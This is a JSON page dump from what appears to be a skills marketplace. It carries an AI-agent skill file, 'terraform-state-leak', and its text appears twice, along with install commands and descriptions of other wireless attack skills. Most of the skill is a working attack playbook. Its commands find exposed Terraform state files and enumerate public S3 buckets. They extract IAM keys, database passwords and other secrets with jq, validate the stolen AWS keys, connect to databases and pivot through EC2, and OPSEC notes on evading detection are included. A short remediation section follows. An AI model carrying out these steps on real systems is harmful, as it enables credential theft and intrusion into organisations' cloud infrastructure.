[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797Z354DXSCZ2YB0XNV74ZP":3,"skill-same:01M797Z354DXSCZ2YB0XNV74ZP":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M797Z354DXSCZ2YB0XNV74ZP","terraform-state-leak",null,"Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fterraform-state-leak\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: terraform-state-leak\ndescription: Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.\nmetadata:\n  subdomain: cloud\n  when_to_use: \"terraform state leak secrets tfstate\"\n  mitre_attack:\n    - T1552\n    - T1530\n---\n\n# Terraform State Leak Exploitation\n\nTerraform's `terraform.tfstate` file is a **plaintext JSON map of every\nresource Terraform manages**, including:\n- IAM access keys \u002F secret keys\n- Database passwords (RDS, ElastiCache, etc.)\n- API tokens passed in as variables\n- TLS private keys\n- Resource IDs \u002F ARNs \u002F topology (great for follow-on attacks)\n\nBest practice is to store it encrypted in S3 with KMS. Misconfigurations\nthat lead to leaks:\n- S3 bucket with `public-read` ACL\n- S3 bucket with overly permissive policy\n- `terraform.tfstate` in a public Git repo (commit history!)\n- Backup `terraform.tfstate.backup` left in webroot\n- Jenkins workspace \u002F GH Actions artifact exposing state\n\n## 1. Discover exposed state files\n**Web-exposed**:\n```bash\n# Common paths\nfor path in '\u002Fterraform.tfstate' '\u002Fterraform.tfstate.backup' \\\n            '\u002F.terraform\u002Fterraform.tfstate' '\u002Finfra\u002Fterraform.tfstate' \\\n            '\u002Fdeploy\u002Fterraform.tfstate' '\u002Fscripts\u002Fterraform.tfstate'; do\n  curl -sf \"https:\u002F\u002F$TARGET$path\" -o \"\u002Ftmp\u002Ftf-$(basename $path)\" && \\\n    echo \"FOUND: $TARGET$path\"\ndone\n\n# Or scan with feroxbuster\nferoxbuster -u \"https:\u002F\u002F$TARGET\" -w \u002Ftmp\u002Ftf-paths.txt \\\n  -x tfstate,tfstate.backup,tfstate.json\n```\n\n**S3-direct**:\n```bash\n# Public bucket scan\naws s3 ls \"s3:\u002F\u002F$BUCKET\u002F\" --no-sign-request --recursive | grep -E '\\.tfstate'\n\n# Common bucket-name patterns to enumerate\nfor prefix in \"$ORG-terraform\" \"$ORG-tfstate\" \"$ORG-infra-state\" \\\n              \"tf-state-$ORG\" \"$ORG-iac\" \"terraform-$ORG\"; do\n  aws s3 ls \"s3:\u002F\u002F$prefix\" --no-sign-request 2>&1 | head -3\ndone\n```\n\n**Git-history**:\n```bash\n# Look for committed-then-removed state in target's public repos\ngh search code \"terraform.tfstate\" --owner \"$ORG\" --json path,repository\n\n# In a cloned repo\ngit log --all --full-history -- '*terraform.tfstate*'\ngit log -p --all --full-history -- '*terraform.tfstate*' | head -200\n```\n\n## 2. Parse the state\n```bash\n# Quick triage\njq '.terraform_version, .resources | length' \u002Ftmp\u002Fstate.tfstate\n\n# Extract every sensitive-looking value\njq -r '.resources[] | .instances[] | .attributes | to_entries[] |\n       select(.key | test(\"password|secret|token|key|credential\"; \"i\")) |\n       \"\\(.key) = \\(.value)\"' \u002Ftmp\u002Fstate.tfstate > \u002Ftmp\u002Ftf-secrets.txt\n\n# IAM access keys (specifically)\njq -r '.resources[] | select(.type==\"aws_iam_access_key\") |\n       .instances[] | .attributes |\n       \"\\(.user) AKID:\\(.id) SK:\\(.secret)\"' \u002Ftmp\u002Fstate.tfstate\n\n# RDS passwords\njq -r '.resources[] | select(.type==\"aws_db_instance\") |\n       .instances[] | .attributes | \"\\(.identifier):\\(.username):\\(.password)\"' \\\n  \u002Ftmp\u002Fstate.tfstate\n\n# Database connection URLs (often w\u002F embedded passwords)\njq -r '.resources[] | .instances[] | .attributes |\n       to_entries[] | select(.value | tostring | test(\":\u002F\u002F[^:]+:[^@]+@\")) |\n       .value' \u002Ftmp\u002Fstate.tfstate\n\n# Lambda env vars (often hold secrets)\njq -r '.resources[] | select(.type==\"aws_lambda_function\") |\n       .instances[] | .attributes.environment[]?.variables' \u002Ftmp\u002Fstate.tfstate\n```\n\nDecepticon ingest:\n```\ntfstate_audit(\"\u002Ftmp\u002Fstate.tfstate\")\n```\n\n## 3. Topology gold-mine\nBeyond raw secrets, the state reveals:\n- VPC IDs \u002F subnet IDs \u002F security group IDs \u002F NACL rules\n- Route 53 zones + internal DNS names\n- All resource ARNs (good for IAM policy targeting later)\n- Tags revealing org structure (environment, owner, cost-center)\n- KMS key ARNs and aliases\n- Lambda function code locations\n- ECS task definitions \u002F cluster names\n- RDS endpoints + which security group \u002F VPC\n\nThis data alone is high-value recon for a follow-on engagement.\n\n## 4. Validate IAM keys\n```bash\nAWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity\n# Returns the IAM ARN if valid → confirmed live cred\n\nAWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user\n# Get user details + creation date → know if it's a real human or service\n```\n\nPivot to `aws-iam-enum\u002FSKILL.md` for privesc from here.\n\n## 5. RDS pivot\nWith password from state:\n```bash\nENDPOINT=$(jq -r '.resources[] | select(.type==\"aws_db_instance\") |\n           .instances[] | .attributes.endpoint' \u002Ftmp\u002Fstate.tfstate | head -1)\n\n# Connect (requires network reach — usually need to be in VPC or pivot)\nmysql -h $ENDPOINT -u $USER -p$PASSWORD\npsql -h $ENDPOINT -U $USER  # PGPASSWORD from state\n```\n\nIf RDS isn't reachable from your perimeter: launch an EC2 in the same\nVPC using IAM keys from state (if the role has ec2:RunInstances), then\nhop through it.\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"Exposed Terraform state: \u003Curl>\",\n            props={\"severity\":\"critical\",\"secrets_found\":\u003Cn>})\nfor each cred:\n  kg_add_node(kind=\"credential\", label=\"\u003Cservice>:\u003Cvalue>\")\n  kg_add_edge(src=\u003Cvuln>, dst=\u003Ccred>, kind=\"exposes\")\n```\n\n## OPSEC\n- Reading a public bucket \u002F web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs)\n- Using IAM keys triggers CloudTrail events (`GetCallerIdentity` is benign but observable)\n- Many teams have detections for `*Sandbox*` \u002F `*test*` IAM users being used from new IPs\n\n## CVSS\n- IAM access key from state + permissive policy: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 10.0\n- RDS pw + DB has PII: 9.0 (network reach gates)\n- Topology disclosure only: Medium 5-6\n\n## Defender remediation\n```bash\n# Migrate to S3 backend with encryption + versioning\nterraform {\n  backend \"s3\" {\n    bucket         = \"tf-state-$ORG\"\n    key            = \"infra.tfstate\"\n    region         = \"us-east-1\"\n    encrypt        = true\n    kms_key_id     = \"arn:aws:kms:...:key\u002F...\"\n    dynamodb_table = \"tf-state-lock\"\n  }\n}\n\n# Verify bucket policy denies public access\naws s3api put-public-access-block --bucket tf-state-$ORG \\\n  --public-access-block-configuration \\\n  \"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true\"\n\n# Scan repos for committed state files\ngit log --all --full-history -- '*tfstate*' && \\\n  echo \"DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)\"\n```\n\n## Known exemplars\n- 2019: Capital One subsidiary leaked tfstate w\u002F RDS creds → DB exfil\n- 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan)\n- 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth\n- Pattern: terraform-cli running in CI without explicit `-backend-config=encrypt=true` defaults to local state which lands in artifact storage\n","# Terraform State Leak Exploitation\n\nTerraform's `terraform.tfstate` file is a **plaintext JSON map of every\nresource Terraform manages**, including:\n- IAM access keys \u002F secret keys\n- Database passwords (RDS, ElastiCache, etc.)\n- API tokens passed in as variables\n- TLS private keys\n- Resource IDs \u002F ARNs \u002F topology (great for follow-on attacks)\n\nBest practice is to store it encrypted in S3 with KMS. Misconfigurations\nthat lead to leaks:\n- S3 bucket with `public-read` ACL\n- S3 bucket with overly permissive policy\n- `terraform.tfstate` in a public Git repo (commit history!)\n- Backup `terraform.tfstate.backup` left in webroot\n- Jenkins workspace \u002F GH Actions artifact exposing state\n\n## 1. Discover exposed state files\n**Web-exposed**:\n```bash\n# Common paths\nfor path in '\u002Fterraform.tfstate' '\u002Fterraform.tfstate.backup' \\\n            '\u002F.terraform\u002Fterraform.tfstate' '\u002Finfra\u002Fterraform.tfstate' \\\n            '\u002Fdeploy\u002Fterraform.tfstate' '\u002Fscripts\u002Fterraform.tfstate'; do\n  curl -sf \"https:\u002F\u002F$TARGET$path\" -o \"\u002Ftmp\u002Ftf-$(basename $path)\" && \\\n    echo \"FOUND: $TARGET$path\"\ndone\n\n# Or scan with feroxbuster\nferoxbuster -u \"https:\u002F\u002F$TARGET\" -w \u002Ftmp\u002Ftf-paths.txt \\\n  -x tfstate,tfstate.backup,tfstate.json\n```\n\n**S3-direct**:\n```bash\n# Public bucket scan\naws s3 ls \"s3:\u002F\u002F$BUCKET\u002F\" --no-sign-request --recursive | grep -E '\\.tfstate'\n\n# Common bucket-name patterns to enumerate\nfor prefix in \"$ORG-terraform\" \"$ORG-tfstate\" \"$ORG-infra-state\" \\\n              \"tf-state-$ORG\" \"$ORG-iac\" \"terraform-$ORG\"; do\n  aws s3 ls \"s3:\u002F\u002F$prefix\" --no-sign-request 2>&1 | head -3\ndone\n```\n\n**Git-history**:\n```bash\n# Look for committed-then-removed state in target's public repos\ngh search code \"terraform.tfstate\" --owner \"$ORG\" --json path,repository\n\n# In a cloned repo\ngit log --all --full-history -- '*terraform.tfstate*'\ngit log -p --all --full-history -- '*terraform.tfstate*' | head -200\n```\n\n## 2. Parse the state\n```bash\n# Quick triage\njq '.terraform_version, .resources | length' \u002Ftmp\u002Fstate.tfstate\n\n# Extract every sensitive-looking value\njq -r '.resources[] | .instances[] | .attributes | to_entries[] |\n       select(.key | test(\"password|secret|token|key|credential\"; \"i\")) |\n       \"\\(.key) = \\(.value)\"' \u002Ftmp\u002Fstate.tfstate > \u002Ftmp\u002Ftf-secrets.txt\n\n# IAM access keys (specifically)\njq -r '.resources[] | select(.type==\"aws_iam_access_key\") |\n       .instances[] | .attributes |\n       \"\\(.user) AKID:\\(.id) SK:\\(.secret)\"' \u002Ftmp\u002Fstate.tfstate\n\n# RDS passwords\njq -r '.resources[] | select(.type==\"aws_db_instance\") |\n       .instances[] | .attributes | \"\\(.identifier):\\(.username):\\(.password)\"' \\\n  \u002Ftmp\u002Fstate.tfstate\n\n# Database connection URLs (often w\u002F embedded passwords)\njq -r '.resources[] | .instances[] | .attributes |\n       to_entries[] | select(.value | tostring | test(\":\u002F\u002F[^:]+:[^@]+@\")) |\n       .value' \u002Ftmp\u002Fstate.tfstate\n\n# Lambda env vars (often hold secrets)\njq -r '.resources[] | select(.type==\"aws_lambda_function\") |\n       .instances[] | .attributes.environment[]?.variables' \u002Ftmp\u002Fstate.tfstate\n```\n\nDecepticon ingest:\n```\ntfstate_audit(\"\u002Ftmp\u002Fstate.tfstate\")\n```\n\n## 3. Topology gold-mine\nBeyond raw secrets, the state reveals:\n- VPC IDs \u002F subnet IDs \u002F security group IDs \u002F NACL rules\n- Route 53 zones + internal DNS names\n- All resource ARNs (good for IAM policy targeting later)\n- Tags revealing org structure (environment, owner, cost-center)\n- KMS key ARNs and aliases\n- Lambda function code locations\n- ECS task definitions \u002F cluster names\n- RDS endpoints + which security group \u002F VPC\n\nThis data alone is high-value recon for a follow-on engagement.\n\n## 4. Validate IAM keys\n```bash\nAWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity\n# Returns the IAM ARN if valid → confirmed live cred\n\nAWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user\n# Get user details + creation date → know if it's a real human or service\n```\n\nPivot to `aws-iam-enum\u002FSKILL.md` for privesc from here.\n\n## 5. RDS pivot\nWith password from state:\n```bash\nENDPOINT=$(jq -r '.resources[] | select(.type==\"aws_db_instance\") |\n           .instances[] | .attributes.endpoint' \u002Ftmp\u002Fstate.tfstate | head -1)\n\n# Connect (requires network reach — usually need to be in VPC or pivot)\nmysql -h $ENDPOINT -u $USER -p$PASSWORD\npsql -h $ENDPOINT -U $USER  # PGPASSWORD from state\n```\n\nIf RDS isn't reachable from your perimeter: launch an EC2 in the same\nVPC using IAM keys from state (if the role has ec2:RunInstances), then\nhop through it.\n\n## 6. Promote\n```\nkg_add_node(kind=\"vulnerability\", label=\"Exposed Terraform state: \u003Curl>\",\n            props={\"severity\":\"critical\",\"secrets_found\":\u003Cn>})\nfor each cred:\n  kg_add_node(kind=\"credential\", label=\"\u003Cservice>:\u003Cvalue>\")\n  kg_add_edge(src=\u003Cvuln>, dst=\u003Ccred>, kind=\"exposes\")\n```\n\n## OPSEC\n- Reading a public bucket \u002F web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs)\n- Using IAM keys triggers CloudTrail events (`GetCallerIdentity` is benign but observable)\n- Many teams have detections for `*Sandbox*` \u002F `*test*` IAM users being used from new IPs\n\n## CVSS\n- IAM access key from state + permissive policy: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 10.0\n- RDS pw + DB has PII: 9.0 (network reach gates)\n- Topology disclosure only: Medium 5-6\n\n## Defender remediation\n```bash\n# Migrate to S3 backend with encryption + versioning\nterraform {\n  backend \"s3\" {\n    bucket         = \"tf-state-$ORG\"\n    key            = \"infra.tfstate\"\n    region         = \"us-east-1\"\n    encrypt        = true\n    kms_key_id     = \"arn:aws:kms:...:key\u002F...\"\n    dynamodb_table = \"tf-state-lock\"\n  }\n}\n\n# Verify bucket policy denies public access\naws s3api put-public-access-block --bucket tf-state-$ORG \\\n  --public-access-block-configuration \\\n  \"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true\"\n\n# Scan repos for committed state files\ngit log --all --full-history -- '*tfstate*' && \\\n  echo \"DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)\"\n```\n\n## Known exemplars\n- 2019: Capital One subsidiary leaked tfstate w\u002F RDS creds → DB exfil\n- 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan)\n- 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth\n- Pattern: terraform-cli running in CI without explicit `-backend-config=encrypt=true` defaults to local state which lands in artifact storage\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"cloud","terraform state leak secrets tfstate",[28,29],"T1552","T1530","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fterraform-state-leak",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill terraform-state-leak",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill terraform-state-leak",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill terraform-state-leak","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fterraform-state-leak\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]